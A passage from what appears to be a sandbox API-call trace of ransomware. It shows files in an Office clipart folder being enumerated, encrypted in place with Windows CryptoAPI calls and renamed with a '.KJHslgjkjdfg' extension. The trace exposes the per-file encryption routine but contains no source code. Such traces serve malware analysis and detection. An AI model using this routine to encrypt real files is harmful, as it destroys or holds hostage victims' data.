Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.kjhslgjkjdfg")) returned 1 [0201.294] CloseHandle (hObject=0x130) returned 1 [0201.294] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1 [0201.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.295] GetProcessHeap () returned 0x990000 [0201.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.296] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.296] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0201.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.298] GetProcessHeap () returned 0x990000 [0201.298] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.298] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.298] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.298] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.298] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.299] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.299] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.299] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.299] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.299] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x20e4, lpOverlapped=0x0) returned 1 [0201.300] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20f0) returned 1 [0201.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.300] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20f0, lpOverlapped=0x0) returned 1 [0201.301] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.301] SetEndOfFile (hFile=0x130) returned 1 [0201.303] GetProcessHeap () returned 0x990000 [0201.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.304] GetProcessHeap () returned 0x990000 [0201.304] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.kjhslgjkjdfg")) returned 1 [0201.305] CloseHandle (hObject=0x130) returned 1 [0201.305] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1 [0201.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.306] GetProcessHeap () returned 0x990000 [0201.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.307] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.309] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.309] GetProcessHeap () returned 0x990000 [0201.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.309] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.309] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.309] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.309] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.309] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.310] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.310] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.310] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.310] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.310] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b38, lpOverlapped=0x0) returned 1 [0201.311] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b40) returned 1 [0201.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.311] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b40, lpOverlapped=0x0) returned 1 [0201.312] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.312] SetEndOfFile (hFile=0x130) returned 1 [0201.314] GetProcessHeap () returned 0x990000 [0201.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.314] GetProcessHeap () returned 0x990000 [0201.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.kjhslgjkjdfg")) returned 1 [0201.316] CloseHandle (hObject=0x130) returned 1 [0201.316] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0201.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.318] GetProcessHeap () returned 0x990000 [0201.318] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.318] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.318] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.320] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.320] GetProcessHeap () returned 0x990000 [0201.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.320] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.320] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.320] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.321] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.321] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.321] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.321] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.321] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.321] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.321] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x911a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x911a, lpOverlapped=0x0) returned 1 [0201.323] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9120, dwBufLen=0x9120 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9120) returned 1 [0201.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.323] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9120, lpOverlapped=0x0) returned 1 [0201.324] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.324] SetEndOfFile (hFile=0x130) returned 1 [0201.327] GetProcessHeap () returned 0x990000 [0201.327] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.327] GetProcessHeap () returned 0x990000 [0201.327] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.kjhslgjkjdfg")) returned 1 [0201.329] CloseHandle (hObject=0x130) returned 1 [0201.335] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1 [0201.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.337] GetProcessHeap () returned 0x990000 [0201.337] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.337] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.339] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.339] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.339] GetProcessHeap () returned 0x990000 [0201.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.339] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.339] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.339] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.340] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.340] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.340] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.340] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.340] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.340] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa75a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa75a, lpOverlapped=0x0) returned 1 [0201.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa760, dwBufLen=0xa760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa760) returned 1 [0201.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.342] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa760, lpOverlapped=0x0) returned 1 [0201.342] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.343] SetEndOfFile (hFile=0x130) returned 1 [0201.346] GetProcessHeap () returned 0x990000 [0201.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.346] GetProcessHeap () returned 0x990000 [0201.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.kjhslgjkjdfg")) returned 1 [0201.347] CloseHandle (hObject=0x130) returned 1 [0201.347] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1 [0201.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.348] GetProcessHeap () returned 0x990000 [0201.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.349] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.349] SetFilePointerEx (in: hFile=0x130, 